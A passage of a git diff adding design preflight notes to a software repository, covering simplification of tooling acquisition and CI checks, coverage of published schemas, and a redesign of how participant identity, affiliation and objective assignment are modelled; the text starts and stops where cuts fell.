dependencies. The explicit repository check composes the surviving focused checks; selection must not invoke workflow, inventory, container or qualification evaluation. | +| Workflow authority | `.github/workflows/*.yml` and `.github/dependabot.yml` own execution and updater configuration. Simplify `actions-policy.json`/`action_policy_*.py` into focused checks of actual configuration; do not maintain a second workflow graph, condition interpreter, use-site inventory or Dependabot model. | +| Execution and reporting | ADR-014's `noxfile.py`, `tools/nox_support/{graph,runner,policy_lanes,test_lanes}.py`, `SessionReporter`, `tools/verification_plan.py`, and `tools/pytest_shard*.py`. Make, hooks, `.ground-control.yaml`, `tools/verify_all.py`, CI and docs remain consumers. Preserve #935 shard completeness, coverage reduction, stable gate contexts and concurrent execution. | +| Acquisition and persistence | `tools/maintained_client_acquisition.py`, `verified_tool_installation.py`, `verified_tree_{installation,archive,manifest,validation}.py`. Native clients own transfer; local helpers own safe admission, locking and atomic installation. Private caches are disposable local state, not a distribution service or provenance authority. | +| Consumer meaning | `isabelle_tool.py`, `isabelle_sandbox.py`, `check_participant_opacity_proof.py`; vocabulary refresh/check scripts; `oci_release_{selection,image}.py`; `real-daemon/live_runner_inputs.py`; `release_evidence*.py`. Preserve each consumer's existing identity and correctness checks while removing unused operating modes. | +| Container configuration | `.devcontainer/Dockerfile` and `devcontainer.json` own their native configuration; `devcontainer_setup.py` remains the setup entry point. Simplify the profile/render/check machinery without replacing it with another complete Dockerfile/devcontainer model. | + +No application controller, service, repository or DTO layer is needed. Existing +`LockedArtifactSelection`, `PythonClosureProfile`, installer protocols and +release identity types already delimit the relevant inputs. Internal tooling +schemas stay under `implementations/tooling/`; portable SDL contracts, +`schema_bundle()`, runtime OCI/module resolution and their publication ledger +are separate authorities and outside this change. + +Include `.pre-commit-config.yaml`, `.readthedocs.yaml`, `Makefile` and documented +commands in the consumer audit: their frozen-environment entry points must +remain usable without restoring deleted profile machinery. Vocabulary checks +keep #1221's distinction between raw transport hashes and canonical semantic +`source_digest` values (notably NIST CSF); the tooling lock cannot redefine them. + +`test_release_workflows.py` already checks every remote action pin and the +workflow/job write-permission boundaries, and executes release identity guards. +Build on those assertions when shrinking the Actions model. An action's source +SHA does not pin executables it subsequently downloads: retain the necessary +version/hash selection for actual setup/scanner inputs without preserving a +second transitive workflow inventory. + +## Validation and security layers the design must pass + +| Layer | Required boundary | +| --- | --- | +| Repository files and parsing | Reuse `tools.policy.common.safe_repo_path` and `load_bounded_json_object`, plus `tooling_artifact_policy_common.is_regular_repo_file` and tracked-authority checks. Containment alone does not reject all symlinks. Preserve byte bounds, duplicate-key rejection, regular files and path confinement. The private loader in `python_closure_profiles.py` uses ordinary `json.loads`; removing its preceding full evaluator must not expose duplicate-key acceptance or missing schema validation. | +| Internal shapes and semantics | Reuse the existing closed/versioned schemas and Draft 2020-12 validation with local references only. Shrink them alongside their consumers. Selection must reject ambiguity, unsupported platforms, invalid paths/locators, missing selected dependencies and bad raw/installed identities before acquisition. Remove cancelled policy/evidence joins explicitly; do not leave dangling fields and suppress their errors. | +| Workflow parsing | Reuse `implementations/tooling/action_policy_yaml.py`'s safe, duplicate-key/alias-rejecting parser for focused checks. Account for YAML's `on`/boolean-key interpretation already handled by callers. Check actual reusable-workflow contracts and security-relevant conditions without recreating a general Actions expression evaluator or accepting an unknown privileged shape as safe. | +| Process response shapes | `tooling_policy_gate.py` parses selector JSON into `LockedArtifactSelection`; `tooling_installed_tree.py` and `tooling_oci_selection.py` enforce consumer shapes. Change producer, boundary parser and tests together. Response checks at a subprocess boundary are useful; copying the whole policy schema into a second evaluator is not. A clean bootstrap must not require installing the tool that its own selector needs to run. | +| Environment and OS invocation | Reuse `closure_environment`, `frozen_tool_command`, maintained-client fixed argv and timeouts. Keep typed/allowlisted values and native commands, not command strings, arbitrary environment maps or shell interpolation. Prevent ambient `UV_*`, `PIP_*`, Python import paths, user config, netrc/keyring and proxy/index state from changing the selected identity or carrying credentials. Review PATH resolution separately from argument validation. Keep credentials out of argv, URLs/query strings, shell tracing, image layers, cache keys and uploaded diagnostics. | +| Transport and input identity | Reuse `acquire_locked_bytes`/`acquire_locked_file`, credential-free HTTPS locator checks, native TLS verification, size/hash checks and bounded transfer budgets. `curl_transfer_argv` puts the URL in argv: the selector's secret-query checks cannot disappear merely because the transfer helper rejects URL userinfo. Preserve the large-object budget for Isabelle. No custom HTTP/retry stack, TLS bypass, live checksum discovery or fallback after integrity failure. | +| Local installation | Preserve private directory ownership, no-follow/path checks, archive traversal/link/device/expansion limits, per-identity cross-process locking, private staging and atomic publication/recovery. A cache hit or marker is not integrity evidence. Generic archives and Isabelle's allowed confined symlinks have different extraction rules; do not flatten them into an unsafe common extractor. | +| Actions authentication | Inspect real workflow/job permissions, triggers, checkout refs, reusable-workflow inputs/secrets and credential-bearing steps. Retain SHA-pinned remote actions, digest-pinned images, `persist-credentials: false`, narrow publisher/OIDC permissions and untrusted-PR isolation. Explicitly cover the CI-to-canonical Sonar secret path, Pages/Scorecard identities and release jobs. Do not treat every OIDC job as a publisher, or every same-repository PR as trusted. Privileged jobs must not execute candidate-controlled scripts or restore candidate executable caches. | +| Native hosts and containers | Preserve signed OS package sources, CA verification, non-root development execution and scoped mounts/caches. Do not add daemon sockets, privileged containers or broad host mounts to make proof/container tests pass. AWS keeps scoped SSH ingress, authenticated host keys via the existing AWS control-plane path, private key files, cleanup traps and visible setup/backend failures. Validate shell-bound identifiers/paths before remote command interpolation. | +| Errors and observability | Static failures use `PolicyFailure`/`failures_to_json`; command stages use `SessionReporter`; acquisition/install/image/evidence adapters retain their stable reason codes and existing exceptions. Selection currently forwards validator stderr: bound and sanitize that boundary, including exception causes, rather than logging raw candidate data, subprocess argv, native stderr or secret-bearing values. Preserve failure versus skip, timeout and integrity failure; do not turn cancelled qualification into a passing evidence record. | +| Release evidence and publication | Preserve #1110/#1125 exact-SHA and required-container gates, read-only build/test jobs, installed-package identity and separate publishers. Reuse standard provenance/SBOM output and existing digest/producer identity types where needed; trusted expectations cannot come from candidate-supplied evidence itself. Simplification may remove custom admission machinery, but must preserve the same tested bytes through publisher handoff and post-approval tag/release identity checks. No new service or blanket gate. | + +These are required boundaries, not a claim that every current helper satisfies +them alone. In particular, `load_bounded_json_object` provides containment and +duplicate-key checks but needs `is_regular_repo_file` for component-wise symlink +rejection; schema error messages may echo candidate values; and the selector +subprocess currently inherits its environment. Preserve a reviewed bootstrap +interpreter and its minimal environment when removing the outer evaluator. +The selection result must derive from the same parsed input that was validated, +not a second mutable-path read. Do not extend tooling environment selection into +SDL/backend credential-binding contracts or their validation layers. + +Removing global evaluation is not a `skip_validation` switch. Whole-document +parse/shape failure in the owning lock is a legitimate refusal; an unrelated +workflow/container/qualification edit is not. Share the selected-input checks +between lookup and explicit policy validation instead of maintaining competing +validators. Remove inventory-site and aggregate qualification-hash obligations +from ordinary updates, including their hidden callers and test expectations. + +Repository guards still apply: `tools/policy/repo_policy.py` owns ADR-015 source +size/import boundaries; `tools/check_authority_boundary.py` distinguishes +internal tooling schemas from published contracts; and `tools/requirement_context.py` +plus `tools/check_requirement_governance.py` own issue/UID resolution and +traceability. Use `RAES_REQUIREMENT_UID=GOV-913` on the numeric issue branch. +Do not disable these checks or create a mixed-requirement scope merely because +the supplied requirement has historical links to other issues. + +## Consumer gotchas and extension seams + +- Qualification triggers must cover their real component inputs, shared helpers, + locks, schemas, workflow and tests, including renames/deletions. Keep explicit + maintenance dispatch. A workflow-level path filter can leave a required check + pending; preserve a truthful required-gate result where necessary. The + canonical workflow also calls `offline-kit-fetch` for same-run generic tool + inputs: audit callers beyond `bootstrap-qualification.yml` before removing + kit APIs. A small verified per-run input cache is not a disconnected bundle. +- Acquisition TLS fixtures import `cryptography` at module collection time. + Moving a dependency to an optional group without separating test collection + can still break ordinary tests. Keep specialized fixture dependencies locked + and selected by their lane. `raes/module_registry/{signing,publishing}.py` + also uses cryptography at runtime: do not remove that legitimate dependency. + Reassess Intel Mac support against actual interpreter, wheel/source-build, + native-client and project dependencies, including the governed Z3 pin; neither + vulnerable downgrades nor deleting a platform guard proves support. +- Native arm64 development needs tested base-image/platform selection, available + signed native packages and the existing verified bootstrap inputs, not an + enterprise snapshot program. A signed moving package repository does not + imply bit-for-bit image reproducibility. Native execution, emulation and an + exported multi-platform image are distinct claims. Coordinate entry-point, + UID/cache ownership, lifecycle and worktree-mount documentation with #1277. +- The ordinary release image path needs a digest-pinned pull and real-container + execution, not same-job OCI export/import or retained unused platforms. Keep + unique concurrent resource names, failure cleanup, no-skips/zero-test rejection + and teardown fixes. Do not remove the separate runtime OCI archive/cache + implementation merely because tooling distribution modes disappear. +- Installer simplification targets private local/GitHub-runner caches. Remove + unused multi-user seed and filesystem-qualification machinery without losing + actual filesystem lock/rename semantics. If complete Isabelle tree hashing on + every use is reduced, state the trust assumption and the admission, restore, + mutation and rebuild boundaries first. Read-only modes, mtime or a writable + marker do not prove immutable content. Keep full verification wherever a safe + replacement is not established; measure any claimed speedup. Preserve the + bubblewrap network/environment/filesystem sandbox, bounded resources, kernel + replay and proof-source/theorem checks. Offline proof execution is not a + disconnected development requirement. +- Online AWS setup may acquire verified inputs on the instance and use signed + native packages without complete local pre-seeding/snapshots. Preserve CirrOS + size/hash checks before use, locked Python/build inputs, AMI owner/image + validation and both smoke/certification consumers. No pipe-to-shell installer, + security downgrade, silent download failure or real AWS deployment in this + preflight. Preserve the tracked, revision-bound source handoff; simplifying + pre-seeding must not replace it with a copy of the working tree, ignored files + or local credentials. +- Release cleanup must distinguish source SHA, workflow SHA, output digest, + attestation producer and installed runtime dependency graph. An SBOM is not + authenticated provenance; an sdist-built test wheel is not the published + wheel. Keep those identities distinct in useful standard output. Coordinate + byte-preserving partial-publication recovery with #1227; no clobber, moved tag, + same-version rebuild or claim that PyPI/GitHub publication is transactional. +- The extension seam is the existing selection input: artifact/version and + normalized platform, or Python purpose/interpreter/extras from its owning + lock. A new supported platform/tool should extend that data and its consumer + evidence without changing every caller or regenerating unrelated hashes. + Runtime choice remains the existing Docker/Podman parameter. Do not preserve + speculative mirror/offline flags or invent a plugin/provider framework for + hypothetical future distribution needs. + +## Evidence boundary and non-goals + +Extend the incumbent tests under `implementations/python/tests/`: +`test_tooling_artifact_policy.py`, the #1137/#1217/#1219/#1220/#1222 suites, +`test_issue_1238_development_container.py`, `test_oci_release_image.py`, +`test_release_workflows.py`, #1226 evidence tests, packaging smokes and shard +tests. Preserve behavior tests; retire assertions that merely encode cancelled +machinery. The coupling regression must exercise real artifact and Python +selectors with unrelated workflow/container/qualification changes, while +selected-input corruption still fails before download/execution. Trigger tests +must prove both unrelated exclusion and relevant inclusion. + +Evidence must include representative clean connected setup, ordinary checks, +concurrent/corrupt/interrupted installations, locked builds and installed +wheel/sdist smokes; affected proof/container lanes and release boundaries remain +required. Platform claims need actual platform evidence. Mocked transport, a +green YAML assertion or old qualification record alone does not establish these +outcomes. This note claims none of that implementation verification. + +No implementation, ordered work plan, new policy framework, operational +acceptance program, public schema change, runtime architecture rewrite, new +exception hierarchy or logging format is introduced here. No release, external +deployment, protected-branch merge or PR merge is authorized. Release-please +continues to own versions and `CHANGELOG.md`; do not create a requirement UID +or broaden GOV-913 to cover unrelated implementation work. diff --git a/docs/decisions/issue-1330-schema-coverage-preflight.md b/docs/decisions/issue-1330-schema-coverage-preflight.md new file mode 100644 index 000000000..565f072b0 --- /dev/null +++ b/docs/decisions/issue-1330-schema-coverage-preflight.md @@ -0,0 +1,148 @@ +# Issue #1330: Published-schema coverage preflight + +Date: 2026-09-20 + +Authority: ASR-501 and issue #1330, including its dependency on #712. +This note is design guidance, not an implementation plan or a +claim that either issue is complete. Existing ADR-007/018 (assurance), ADR-009/019 +(authority), ADR-014 (verification), and ADR-061 (publication) suffice; no new ADR +or amendment is needed. + +## Readiness and observed gaps + +The issue starts only after #712 works and a concrete published contract has a +coverage gap that review cannot reliably catch. This checkout's publication +validator passes, but checks inventory, hashes, stability and evolution, not +governing requirements. The existing requirement-governance checker concerns +change ownership/traceability; it is not evidence of a complete schema-owner +inventory. Inspection did not locate the dedicated #712 check. Its prerequisite +is therefore **unconfirmed**, not satisfied by this preflight. Preserve the +separation: #1330 must not implement or silently absorb #712. + +There are 123 publication entries. A conventional directory scan finds 23 without +both `valid/*.json` and `invalid/*.json` cases. This is not a missing-coverage +verdict: `random-stream-vector-v1` uses `contracts/fixtures/random-stream-vectors/`, +SDL examples pass through normalization, and `test_reference_processor.py` +constructs a `workflow-cancellation-request-v1` payload directly. The latter has +no conventional corpus and is a candidate for examination, not proof of absent +tests. Do not encode these counts or a filename heuristic as the rule. + +A concrete detection weakness is already visible: `run_fixture_suite()` checks +that a valid directory exists but permits an empty directory and optional invalid +cases; its universe is also limited to the selected backend profile. Fixture +loops in `test_runtime_contracts.py` can execute zero cases. Removing all cases +can therefore evade those individual checks. Before enabling a new gate, identify +the actual affected contract and its claimed coverage; do not infer that all +other repository checks also miss it. A missing conventional directory alone +does not establish the issue's full start condition. + +## Coverage boundary and extension seam + +- The denominator is every current JSON schema under `contracts/schemas/`, + reconciled by `validate_schema_publication_manifest()` and read through + `load_schema_publication_catalog()` in `tools/check_schema_publication.py`. + Include draft and stable entries; exclude tombstones, generated package + copies, internal tooling schemas and unpublished models. The catalog loader + normalizes v1/v2 storage; loading alone is not full publication validation. +- Coverage is a join from an exact schema path/contract version to concrete + fixture sources and applicable formal subsystem/artifact references. Reuse + existing corpus routing and execution owners. A directory, README, arbitrary + test filename, schema hash, requirement owner or substring match is not proof + that the contract is exercised. Inventory presence is distinct from successful + execution and neither proves exhaustive semantic correctness. + Allow many schemas to reference shared evidence and one schema to reference + multiple evidence sources; each association must identify the behavior and + validation phase it supports. Internal `$defs` are not separate publication + entries. Version suffixes alone are insufficient identity for mutable draft + schemas: evaluate evidence against the current checked-in schema, and do not + reuse an earlier passing result after the manifest content hash changes. +- Keep the eventual rule explicit about required evidence for each claim. + Fixture coverage must resolve to nonempty cases exercised by the existing + runner; rejection coverage, where required, belongs to its actual validation + layer. Do not impose JSON-Schema rejection on semantic-invalid fixtures: + `test_runtime_contracts.py` explicitly has schema-valid, semantics-invalid + experiment-core cases. State which positive/negative cases the rule requires + and how existing alternate corpora satisfy it in contributor documentation. +- Keep published-schema validation distinct from reference-model acceptance. + `check_json_artifacts.py` validates checked-in schemas; some conformance and + domain tests instead consume `schema_bundle()` and depend on the separate + generated-parity gate. A model-only test cannot establish published-schema + coverage by itself. `test_example_schema_conformance.py::VALIDATION_CORPUS` + already supplies an explicit corpus/loader/serialization/schema association + with non-vacuity and negative controls. Its normalized SDL serialization uses + `model_dump(mode="json", by_alias=True)`; raw YAML is a different boundary. + Reuse this precedent for supplemental test evidence without promoting + `examples/` to normative conformance fixtures: the authority manifest + explicitly classifies worked examples as non-normative. +- Negative evidence must reject for the claimed reason at the claimed layer. + `_fixture_case_diagnostics()` can return + `conformance.semantic-context-required`; `run_fixture_suite()` currently + treats any diagnostic as a passing invalid case. Missing semantic context is + unevaluated evidence, not demonstrated rejection of the intended invariant. + Resolve context through existing domain runners, and distinguish expected + validation failures from setup, parsing or execution failures. +- Formal obligations come only from `specs/formal/assurance-policy.yaml` and + `assurance-fulfillment.yaml`, validated by `check_assurance_policy.py`. + Reference existing subsystem IDs and delivered artifacts; do not duplicate + FM-level requirements or infer FM3 from a schema's name. FM0 prohibits TLA+ + and Alloy; FM3 requires an abstract state-machine model, not a particular + prover. Preserve existing dated, tracked, justified waivers as waivers, never + relabel them as delivered coverage. No formal obligation and an unresolved + obligation are different states. Fixtures and formal evidence are not a + blanket interchangeable `fixtures OR model` condition. +- The missing seam is the schema-to-evidence association, not another inventory + or assurance framework. Prefer minimal declarative references alongside the + existing per-contract publication records, coordinated with #712's final + representation. Derive conventional routes; record only necessary alternate + sources and formal bindings. Validate any new metadata explicitly: current + entry validation does not automatically validate arbitrary added keys. Keep + the closed v2 root manifest shape and sharded storage; preserve normalized + v1/v2 reader compatibility and cover added metadata in publication tests. + Missing formal association must not silently mean "not applicable": record + applicability with its policy basis, without creating a second FM ladder. + Adding another contract + or corpus route must not require a hard-coded per-contract checker branch; + adding an assurance artifact kind must continue through the canonical policy. + +The delivered rule must report each missing obligation by schema path with a +stable reason, deterministically, and distinguish malformed associations from +missing evidence. Unknown references, duplicates, stale versions, empty matches +and ambiguous corpus roots cannot silently become coverage or exemptions. + +## Cross-cutting layers and canonical incumbents + +| Layer | Required reuse and guardrail | +| --- | --- | +| Authority and publication shape | `specs/authority/authority-boundary.yaml`, `check_authority_boundary.py`, publication catalog/validator and ADR-061. Metadata is repository governance, not a new public payload schema. Preserve `last_change`, hashes and tombstones; actual schema changes also require `check_generated_schemas.py` parity with `schema_bundle()`. No public schema change is needed merely to inventory coverage. | +| Fixture validation and execution | `check_json_artifacts.py` owns `ValidationTarget`, corpus routing, metaschema and valid-payload checks, including special vector/profile routes. `raes_conformance/conformance/{profiles,fixture_suite,semantics}.py` owns profile selection and semantic fixture execution. Existing domain tests own further model/semantic negatives. Share routing where necessary; do not copy its tables, use backend profile membership as the denominator, or build another JSON Schema/Pydantic validator. `raes_contracts/corpus.py` owns source-versus-packaged corpus resolution; this repository gate inspects canonical checked-in sources. | +| Formal and other coverage | `check_assurance_policy.py` owns fulfillment validation. `check_semantic_coverage.py` owns construct-family realization/test links; `check_specification_coverage.py` owns revisioned research evidence. Neither is schema-level coverage and neither should be repurposed. A pointer into a formal domain is not a proof that its model covers the schema's claimed behavior. | +| PR-controlled paths and parsing | Reuse `tools/policy/common.py::safe_repo_path` and `load_bounded_json_object` for new JSON metadata. Enforce normalized relative paths, supported roots, regular files, size limits, duplicate-key rejection and closed field/type shapes before use. `is_regular_repo_file` in `tooling_artifact_policy_common.py` already rejects symlinks component by component; share that primitive if needed, without invoking the whole tooling policy. `tools/policy/requirement_scope.py` demonstrates their composition with exact-path grammar and bounded closed metadata. Containment alone does not reject all in-repo symlinks or special files. Apply checks to discovered files as well as explicit references, before reading. Reject control characters, secret-file paths and candidate-supplied unrestricted globs; bound aggregate discovery. Existing catalog readers must not be assumed to provide these stronger checks automatically. | +| Auth, secrets and host exposure | The coverage relation is local and read-only: no GitHub/Ground Control request, token, secret file, runtime credential binding, controller, service or database is needed. Do not read environment/credential files from candidate paths or execute/import commands named by metadata. Existing fixed nox runners own subprocesses; keep shell-free argument lists and repository-relative paths, with no credentials in argv or logs. Schema-reference handling must stay local through existing validation owners; new metadata must not introduce network retrieval. | +| Environment and configuration | `.ground-control.yaml`, `.gc/plan-rules.md`, `tools/requirement_context.py` and `tools/nox_support/runner.py` own workflow context. This issue is requirement-backed: set `RAES_REQUIREMENT_UID=ASR-501` when the branch lacks the UID, as on `1330-schema-coverage-gate`; do not use `--skip-requirement` to bypass its governance. Any issue scope must agree with the supplied requirement through the existing scope validator. No new env-binding shape is needed. If reusing JSON validation, preserve `RAES_JSON_SCHEMA_WORKERS`' existing integer/minimum-one validation. Frozen project/tooling dependencies and existing tool selection remain authoritative. | +| Errors and observability | Use `PolicyFailure`, `failures_to_json` and `SessionReporter`; no new exception hierarchy or logging service. Convert anticipated parse, path and I/O failures into stable, bounded diagnostics with schema paths. Do not dump fixture contents, raw exceptions, absolute host paths, environment values or validator payload excerpts. Report missing, malformed, waived and unevaluated states honestly; a failed read or validator crash is not a successful negative fixture. | +| Workflow and persistence | Wire coverage once into ADR-014's `noxfile.py` / `tools/nox_support/policy_lanes.py` graph, consumed by `verify_all.py`, Make, hooks and `.github/workflows/canonical-verification.yml`/`ci.yml`. Keep `SessionReporter` results visible. A full inventory must catch deletion-only changes: `common.changed_paths()` excludes deletions, so a changed-file-only gate is insufficient. No cache, database, generated coverage ledger or second CI graph is required. Repository size/import rules, authority checks and ADR pins remain in force. | + +These are design obligations, not a claim that every incumbent helper currently +enforces every boundary. Reuse the appropriate primitive without importing an +unrelated runtime/tooling subsystem's policy or broadening this issue into a +repository-wide security rewrite. + +## Acceptance guardrails and non-goals + +Follow the temporary-repository tests in `test_repo_policy_tools.py` and +`test_assurance_policy.py`. The issue's positive/negative tests must demonstrate +a covered published schema passing and removal of its required evidence failing +with the exact schema path. Include non-vacuity and prove a structural contract +passes without a formal model. Relevant regression boundaries include alternate +corpus routing, schema-valid semantic negatives, unsafe paths, malformed joins, +stale formal references/waivers and deletion-only changes. Test the gate's +behavior, not merely the presence of strings in this note. + +Non-goals: implementing #712, requirement discovery, raising assurance levels, +running a new prover, changing runtime/API/auth/persistence contracts, changing +published payload shapes, or claiming semantic completeness from file counts. +Avoid a universal fixture-layout rule, arbitrary test-file scanning, duplicated +FM tables, unconditional blanket exemptions and self-reported coverage booleans. +Do not bulk-create placeholder fixtures/models to turn the gate green. Concrete +coverage repairs must follow the owning contract's existing validation and +assurance rules. This preflight changes guidance only. diff --git a/docs/decisions/issue-1338-participant-identity-assignment-preflight.md b/docs/decisions/issue-1338-participant-identity-assignment-preflight.md new file mode 100644 index 000000000..8a10691ae --- /dev/null +++ b/docs/decisions/issue-1338-participant-identity-assignment-preflight.md @@ -0,0 +1,228 @@ +# Issue #1338 participant identity, affiliation, and objective assignment preflight + +Date: 2026-09-21. Requirement: none; issue #1338 is the delivery contract. +ACT-613 remains a remediation-program label and is not activated by this slice. + +This note fixes the architecture boundary before implementation. It is not an +implementation plan and does not claim that the language, migration, schemas, +or conformance evidence have shipped. The semantic change needs a reviewed +companion to ADR-020/022/067 (or their governed amendment); accepted ADR text +must not be edited silently. + +## Selected semantic contract + +The authored key under `agents` is the participant identity boundary. RAE does +not derive participant identity from an entity, role, implementation, service, +component graph, executable process, account, or runtime episode. Authors decide +which autonomous subject one declaration denotes. The historical `agents` root +remains the authoring home; renaming it is neither required nor sufficient. + +The canonical participant fields are: + +- `affiliations: list[str] = []`, containing zero or more references to + `entities`. An affiliation records organizational alignment or + representation only. It does not merge identities, assign objectives, grant + authority, share observations, select an implementation, or imply membership + of participant components. +- `role: ExerciseRole | str | None`, recording the participant's scenario role + directly. Role is not affiliation, login role, control-plane role, behavior + mode, or authorization. + +The plural affiliation shape is the bounded extensibility seam for a participant +that meaningfully represents more than one organization. It remains a list of +references, not a new organization model or a qualified delegation ontology. +If later work needs relationship type, interval, or evidence, it must use a +separately governed relation rather than adding meanings to the strings. + +For compatibility, the effective participant role is the explicitly authored +`agents.*.role` when present. Otherwise, and only when there is exactly one +affiliation, its `entities.*.role` may supply the effective role. Zero or +multiple affiliations supply no inherited role. Consumers that require a role +must reject an absent or unresolved effective role; they must not select the +first affiliation, combine roles, or infer a role from actions, behavior mode, +implementation kind, or objective ownership. This fallback preserves the +current single-entity role source while permitting two participants with one +affiliation to retain distinct identities and explicitly different roles. + +The canonical objective fields are: + +- `owner: str | None`, an optional reference to `entities`, meaning the + organization responsible for the objective. Ownership is not participation, + assignment, authority, beneficiary identity, or proof of action. +- `assigned_participant: str | None`, an optional reference to `agents`, meaning + the participant designated to pursue the objective. Assignment is authored + intent, not proof that the participant accepted, attempted, or realized an + action. +- existing `actions`, interpreted as action-contract constraints on acceptable + pursuit of the objective, not as action events or undeclared labels. + +An objective must declare at least one of `owner` and `assigned_participant` and +may declare both. `actions` always resolve to declared `action_contracts`. When +an assignment exists, every constrained action must also be available in that +participant's `actions`. Without an assignment, valid action constraints remain +organizational intent: they constrain a future explicit assignment but create +no participant, runtime work, evaluation authority, or actor attribution. + +The design intentionally does not add a `beneficiary` field. Owner, beneficiary, +target, and success subject are not interchangeable; the issue supplies a +concrete ownership requirement but no beneficiary rules or acceptance case. +No beneficiary may be inferred from `owner`, `targets`, affiliation, or success +assertions. A later beneficiary relation belongs at the normalized objective +relation seam with its own endpoint and validation rules. + +Realized actor attribution remains owned by participant action/history/result +contracts using canonical participant address, episode, sequence, and action +coordinates. Neither objective assignment nor affiliation may be copied into a +runtime record as proof of who acted. Conversely, runtime attribution does not +rewrite authored ownership or assignment. + +## Alternatives and rejected conflations + +| Alternative | Disposition | +| --- | --- | +| Keep mandatory `Agent.entity` and clarify prose | Rejected: composite or unaffiliated participants still need a synthetic organization, while shared entities still do not identify one participant. | +| Make `Agent.entity` optional but retain its identity/role meaning | Rejected: absence fixes authoring pressure but leaves one field with incompatible identity, affiliation, and role meanings. | +| Use optional `affiliations` plus a participant-local `role` | Selected: identity stays at the declaration, affiliation is optional, multiple affiliations are representable, and the current role source has one explicit fallback. | +| Add a generic relation object for affiliation, representation, membership, ownership, and assignment | Rejected: those relations have different endpoints and consequences, and no current requirement supplies qualifiers that justify a new ontology. | +| Keep `Objective.agent` / `Objective.entity` as polymorphic actors | Rejected: an entity objective can exist without participants and currently bypasses action checks; the fields do not have one actor meaning. | +| Infer assignment from all participants sharing the owner/affiliation | Rejected: it silently widens assignment, authority, observations, and potentially execution. | +| Treat every objective action label as a participant action | Rejected: unassigned organizational intent has no participant action set. All labels must first be declared action contracts; participant availability is an additional check only when assigned. | +| Add a second `participants` root or rename `agents` now | Rejected: it creates migration and identity aliases without fixing the semantic relations. | + +## Canonical owners and cross-stage invariants + +The implementation must extend the incumbents below; none may gain a parallel +schema, resolver, exception family, persistence store, or workflow. + +| Concern | Canonical incumbent and invariant | +| --- | --- | +| Authoring shape | `raes.agents.Agent`, `raes.entities.Entity`, and `raes.objectives.Objective` remain the only SDL owners. They inherit `SDLModel(extra="forbid")`; portable identifiers and whole-field variables retain `_identifiers.py` / `_base.py` rules. | +| Safe parsing and instantiation | `_yaml_loader.py`, `parser.py`, `_source_profile.py`, and instantiated-scenario revalidation retain byte/depth/node/alias limits, YAML 1.2 safe construction, exact structural keys, source diagnostics, and post-substitution semantic validation. Affiliation or assignment cannot be introduced through variable mapping keys. | +| Name resolution | `DeclarationIndex`, `QualifiedName`, flattened entity references, and `SemanticValidator` remain authoritative. Extend the existing participant/objective analyzers with distinct normalized relation kinds (`AFFILIATION`, `OWNER`, `ASSIGNMENT`, and `ACTION_CONSTRAINT`); do not split rendered addresses or build a second index. | +| Effective role | One shared pure role resolver must serve behavior-specification role selection, autonomous-execution role checks, participant relationships, validation, and compilation. It implements direct-role-first plus the single-affiliation fallback; local reimplementations are forbidden. | +| Objective semantics | `raes.semantics.objective_semantics.analyze_objective_semantics` remains the name-level source of truth. Owner and assignment are separate references with no ordering/refresh role unless the existing dependency constants and planner propagation change together. Action resolution is global-to-contract plus assigned-participant subset validation. | +| Participant relationships | `_participant_relationships.py` continues to require participant endpoints. An objective belongs to an endpoint only through explicit `assigned_participant`; common ownership or affiliation is insufficient. | +| Composition and variation | `raes/composition/_behavior.py`, `_references.py`, the existing symbol maps, and `variation.py` own rewriting. Imports must namespace each affiliation, owner, and assignment through its owning section. Replace old variation slots with the new canonical slots; do not retain two writable meanings. | +| Compilation | `compiler/addresses.py`, `participant_behaviors.py`, `objectives.py`, and the typed runtime models retain canonical addresses. Participant projections keep the authored participant name and carry affiliations/role separately. Objective projections carry owner and assigned-participant coordinates separately; remove the overloaded `actor_type` / `actor_name` projection rather than populating it with a new ambiguity. | +| Runtime authority | `participant_execution.py`, participant behavior semantics, backend capability admission, and runtime action/history contracts remain the execution and attribution owners. Only explicit assignment may select an objective for participant autonomous evaluation, and assignment alone grants no action, target, evaluation, control-plane, or backend authority. | +| Editor and inspection | `_language_metadata.py`, `_language_references.py`, language-service completion/navigation, and MCP inspection summaries consume the same field-specific reference rules and effective-role resolver. User-facing summaries must label owner and assignment separately rather than render either as “actor.” | +| Published contracts | `raes_contracts.contracts.schema_bundle()` remains the generator input. Regenerate `sdl-authoring-input-v1`, `instantiated-scenario-v1`, and `instantiated-scenario-snapshot-v1`; update their schema-publication entries, SDL catalog parity expectations, reference catalog, and valid/invalid fixtures. Generated JSON schemas are never edited directly. | +| Diagnostics and errors | Reuse `SDLParseError`, `SDLValidationError`, `SDLInstantiationError`, analyzer issue records, compiler `Diagnostic`, and the CLI/MCP portable envelopes. New issue codes must be bounded and field-specific. Do not interpolate source documents, Pydantic inputs, credentials, hidden evidence, or tracebacks. | +| Persistence and evidence | Existing `RuntimeSnapshot`, participant episode/history/evidence contracts, configuration digests, CAS/idempotency, and append-only control-plane stores retain ownership. Preserve historical participant addresses and episode joins; do not rewrite stored evidence or create an identity/assignment repository. | +| Governance and verification | ADR-009/061/075, `specs/evolution/deprecation-records.yaml`, schema publication checks, SDL catalog parity, nox policy lanes, and existing parser/semantic/composition/compiler/language-service test families remain authoritative. Schema acceptance alone is not semantic evidence. | + +## Compatibility and migration boundary + +The canonical model must not accept both old and new writable fields and then +choose one. A source-bound, explicit migration path must reuse the repository's +existing transformation result, canonical digest, structured diagnostic, and +atomic-refusal conventions. + +A repository-local structured-document inventory (YAML/JSON, excluding generated +schemas, build/cache trees, and virtual environments) found 21 documents using +the affected shapes: 28 `agents.*.entity` bindings, 20 +`objectives.*.agent` bindings, and seven `objectives.*.entity` bindings. The +seven entity objectives are in the formal-semantic-validation corpus and the +hospital, port-authority, reconciliation v1/v2, and satcom examples; none +currently carries `actions`. The hospital example also has two distinct +participants sharing `ransom-crew`, which must remain a positive identity +regression. Inline Python fixtures and generated schemas are consumers to +update, not additional authored inventory authority. + +The deterministic mappings are: + +| Legacy source | Canonical result | Compatibility treatment | +| --- | --- | --- | +| `agents.*.entity: E` | `agents.*.affiliations: [E]` | Lossless relation rewrite; legacy effective role is preserved by the single-affiliation fallback. | +| `objectives.*.agent: P` | `objectives.*.assigned_participant: P` | Preserves the only existing path that validates participant action availability; it does not invent an owner. | +| `objectives.*.entity: E` | No automatic canonical output | Requires a source-digest-bound author decision: owner-only, or owner plus an explicitly named assigned participant. The migrator must never select affiliated participants. | + +For a legacy entity objective, owner-only conversion keeps `actions` only when +every value resolves to a declared action contract. An undeclared label is a +bounded migration refusal, not a newly invented participant action. Owner plus +assignment additionally applies the assigned participant's action subset check. +Migration is atomic: missing decisions, stale 